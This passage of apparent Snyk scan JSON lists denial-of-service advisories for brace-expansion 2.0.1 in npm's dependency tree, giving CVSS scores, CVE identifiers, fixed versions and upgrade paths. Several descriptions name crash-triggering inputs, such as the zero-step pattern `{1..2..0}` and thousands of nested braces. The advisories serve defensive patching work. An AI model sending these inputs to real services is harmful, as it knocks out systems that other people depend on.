"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
